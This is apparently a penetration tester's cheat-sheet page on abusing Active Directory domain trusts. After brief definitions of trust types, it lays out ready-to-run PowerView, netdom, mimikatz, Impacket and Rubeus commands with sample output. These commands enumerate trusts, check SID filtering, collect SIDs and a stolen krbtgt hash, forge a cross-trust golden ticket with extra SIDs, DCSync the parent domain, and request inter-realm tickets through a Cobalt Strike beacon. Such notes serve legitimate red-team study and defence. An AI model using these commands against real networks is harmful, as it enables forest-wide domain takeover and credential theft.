Attack Trusts
"Note that the Active Directory domain is not the security boundary; the AD forest is." - Sean Metcalf (ref)
- Trust 👉🏻 a link between the authentication systems of two domains.
- Transitive trust 👉🏻 the trust is extended to objects which the child domain trusts.
- Non-transitive trust 👉🏻 only the child domain itself is trusted.
- Bidirectional (two-way) trust 👉🏻 users from both trusting domains can access resources.
- One-way trust 👉🏻 only users in a trusted domain can access resources in a trusting domain, not vice-versa (the direction of trust is opposite to the direction of access).
Some trust types:
Trust Type | Description |
---|---|
Parent-child | A trust between domains within the same forest. The child domain has a bidirectional transitive trust with the parent domain. |
Cross-link (shortcut) | A trust between child domains (used to speed up authentication). |
Tree-root (intra-forest) | A bidirectional transitive trust between a forest root domain and a new tree root domain. Created implicitly when a new domain tree is created in the forest. |
Forest | A transitive trust between two forest root domains. Enforces SID filtering. |
External (inter-forest) | A non-transitive trust between two separate domains in separate forests that are not already joined by a forest trust. Enforces SID filtering. |
Get forest object:
PV2 > Get-NetForest [-Forest megacorp.local]
PV3 > Get-Forest [-Forest megacorp.local]
Get all domains in a fores:
PV2 > Get-NetForestDomain [-Forest megacorp.local]
PV3 > Get-ForestDomain [-Forest megacorp.local]
Enum trusts for current domain via
nltest
and .NET:Cmd > nltest /trusted_domains
PS > ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()
Enum trusts via Win32 API and LDAP (PowerView):
PV2 > Get-NetDomainTrust [-Domain megacorp.local] | ft
PV3 > Get-DomainTrust -API [-Domain megacorp.local] | ft
PV2 > Get-NetDomainTrust -LDAP [-Domain megacorp.local] | ft
PV3 > Get-DomainTrust [-Domain megacorp.local] | ft
Build domain trust mapping:
PV2 > Invoke-MapDomainTrust [-Domain megacorp.local] | ft
PV3 > Get-DomainTrustMapping [-Domain megacorp.local] | ft
Abusing Bidirectional ParentChild trust between child.megacorp.local ⟷ megacorp.local.
Check if SID filtering is enabled for a trust:
Cmd > netdom.exe trust child.megacorp.local /domain:megacorp.local /quarantine
SID filtering is not enabled for this trust. All SIDs presented in an
authentication request from this domain will be honored.
For creating a cross-trust golden ticket (Golden Ticket + ExtraSid) we'll need:
- 1.Child domain FQDN (
child.megacorp.local
); - 2.Name of the child domain's DC machine account and its RID (
DC01$
,1337
); - 3.SID of the child domain (
S-1-5-21-4266912945-3985045794-2943778634
); - 4.SID of the parent domain (
S-1-5-21-2284550090-1208917427-1204316795
); - 5.Compomised krbtgt hash from the child domain (
00ff00ff00ff00ff00ff00ff00ff00ff
); - 6.???
- 7.PROFIT.
(1) Child domain FQDN:
PS > $env:userdnsdomain
CHILD.MEGACORP.LOCAL
(2) Name of the child domain's DC machine account and its RID:
Windows
Linux
PV2 > (Get-NetComputer -ComputerName DC01.child.megacorp.local -FullData | select ObjectSID).ObjectSID
PV3 > (Get-DomainComputer DC01.child.megacorp.local | select ObjectSID).ObjectSID
S-1-5-21-4266912945-3985045794-2943778634-1337
$ lookupsid.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local | grep SidTypeUser | grep -i DC01
1337: MEGACORP\DC01$ (SidTypeUser)
(3) SID of the child domain:
Windows
Linux
PV > Get-DomainSID
S-1-5-21-4266912945-3985045794-2943778634
$ lookupsid.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local 0 | grep 'Domain SID'
[*] Domain SID is: S-1-5-21-4266912945-3985045794-2943778634
(4) SID of the parent domain:
PS > (New-Object System.Security.Principal.NTAccount("megacorp.local","krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
S-1-5-21-2284550090-1208917427-1204316795-502
Create cross-trust golden ticket:
Windows
Linux
mimikatz # kerberos::golden /domain:child.megacorp.local /user:DC01$ /id:1337 /groups:516 /sid:S-1-5-21-4266912945-3985045794-2943778634 /sids:S-1-5-21-2284550090-1208917427-1204316795-516,S-1-5-9 /krbtgt:00ff00ff00ff00ff00ff00ff00ff00ff /ptt [/startoffset:-10 /endin:60 /renewmax:10080]
$ ticketer.py -domain child.megacorp.local -domain-sid S-1-5-21-4266912945-3985045794-2943778634 {-nthash <RC4_32> | -aesKey <AES_64> } [-groups 516] [-user-id 1337] [-duration 3650] -extra-sid S-1-5-21-2284550090-1208917427-1204316795-516,S-1-5-9 'DC01$'
For DCSyncing we'll need only parent domain FQDN (
megacorp.local
):PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest())[0].RootDomain.Name
megacorp.local
DCSync:
mimikatz # lsadump::dcsync /user:megacorp.local\krbtgt /domain:megacorp.local
Having just an RC4/AES keys of a user in target forest (that's a foreign user in target domain, but a native user in current domain), we can request Kerberos tickets manually with Rubeus.
Request TGT for that user in current domain:
beacon> execute-assembly Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /aes256:94b4d075fd15ba856b4b7f6a13f76133f5f5ffc280685518cad6f732302ce9ac /opsec /nowrap
Request inter-realm TGT from current domain to the target domain:
beacon> execute-assembly Rubeus.exe asktgs /service:krbtgt/megacorp.external /domain:megacorp.local /dc:DC1.megacorp.local /ticket:<BASE64_TICKET> /nowrap
Use inter-realm TGT to request a TGS in the target domain:
beacon> execute-assembly Rubeus.exe asktgs /service:cifs/DC1.megacorp.external /domain:megacorp.external /dc:DC1.megacorp.external /ticket:<BASE64_TICKET> /nowrap